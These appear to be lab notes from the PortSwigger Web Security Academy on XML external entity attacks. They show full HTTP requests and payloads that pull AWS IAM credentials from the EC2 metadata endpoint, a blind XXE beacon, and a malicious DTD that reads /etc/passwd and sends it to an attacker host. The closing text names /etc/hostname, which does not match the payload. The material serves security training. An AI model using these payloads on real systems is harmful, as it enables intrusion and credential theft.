Attacks

Using XXE to exfiltrate secret key from EC2 instance: Chained XXE + SSRF

Malicious POST request

```
POST /product/stock HTTP/1.1
Host: ac671fb81fcc504080b042be005f0023.web-security-academy.net
Connection: close
Content-Length: 223
Sec-Fetch-Mode: cors
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://ac671fb81fcc504080b042be005f0023.web-security-academy.net
Sec-Fetch-Site: same-origin
Referer: https://ac671fb81fcc504080b042be005f0023.web-security-
academy.net/product?productId=10
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=XXXXXXXXXXXXXXXXXXXX

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]><stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
```

Response:

```
"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2019-08-22T16:39:15.242880Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "74kLixnlUZcsLknsyMq5",
  "SecretAccessKey" : "QRN6iUdJkj6CA5yt82cF0jfdh5DIgKx3RDQq5pBZ",
  "Token" :
"kYcYbyXcZU7137kRXZj9mKrbWYvjXpd06s7renO6SYBYoTKBOSnQo3Tiq6GztUoOIl67AH37Y
ZNZlvtxkvAVFygPPW54n49jNY2FvEGFVp6Jj6Pdgs6mBLcChJ6JX7CDbAe7g3YqDhYBt65PnJY
VFuO7VSgNgrx8KYGWdf1l0GwGjfEuFjocZYEojx57XP8nGTW9srH1n0pZAk8GANWS62XUhZE4V
1gmn7yvcnY3ORQWOHjJEb46KKNG1yPJgOY8",
  "Expiration" : "2025-08-20T16:39:15.242880Z"
}"
```

Blind XXE

Request

```
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY xxe
SYSTEM "http://e2h7bnoif4z2eoxetblzsjdel5r1fq.burpcollaborator.net">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Response

```
HTTP Request through the Burp Collab. Window
```

Blind XXE Using Param. Entities to exfiltrate data

Payload

https://acc51fc41e40cc5c80f320ff01f500d0.web-security-academy.net/exploit

```
# this is our malicious dtd hosted in our server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-
attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Request

```
POST /product/stock HTTP/1.1
Host: acb51f871ea6cc14807d20680098001c.web-security-academy.net
Connection: close
Content-Length: 228
Sec-Fetch-Mode: cors
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://acb51f871ea6cc14807d20680098001c.web-security-academy.net
Sec-Fetch-Site: same-origin
Referer: https://acb51f871ea6cc14807d20680098001c.web-security-
academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=xrE9xNnbe9G6HNdNkxEzu7RMWW3a1LjZ

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://acc51fc41e40cc5c80f320ff01f500d0.web-security-
academy.net/exploit"> %xxe;]><stockCheck><productId>1</productId>
<storeId>1</storeId></stockCheck>
```

The main part of the request is at tghe bottom where we call our malicious `dtd` to exfiltrate data, once the `XML` parser makes the request we should now have access to the data it grabbed because of the call in out payload to `SYSTEM file:///etc/hostname`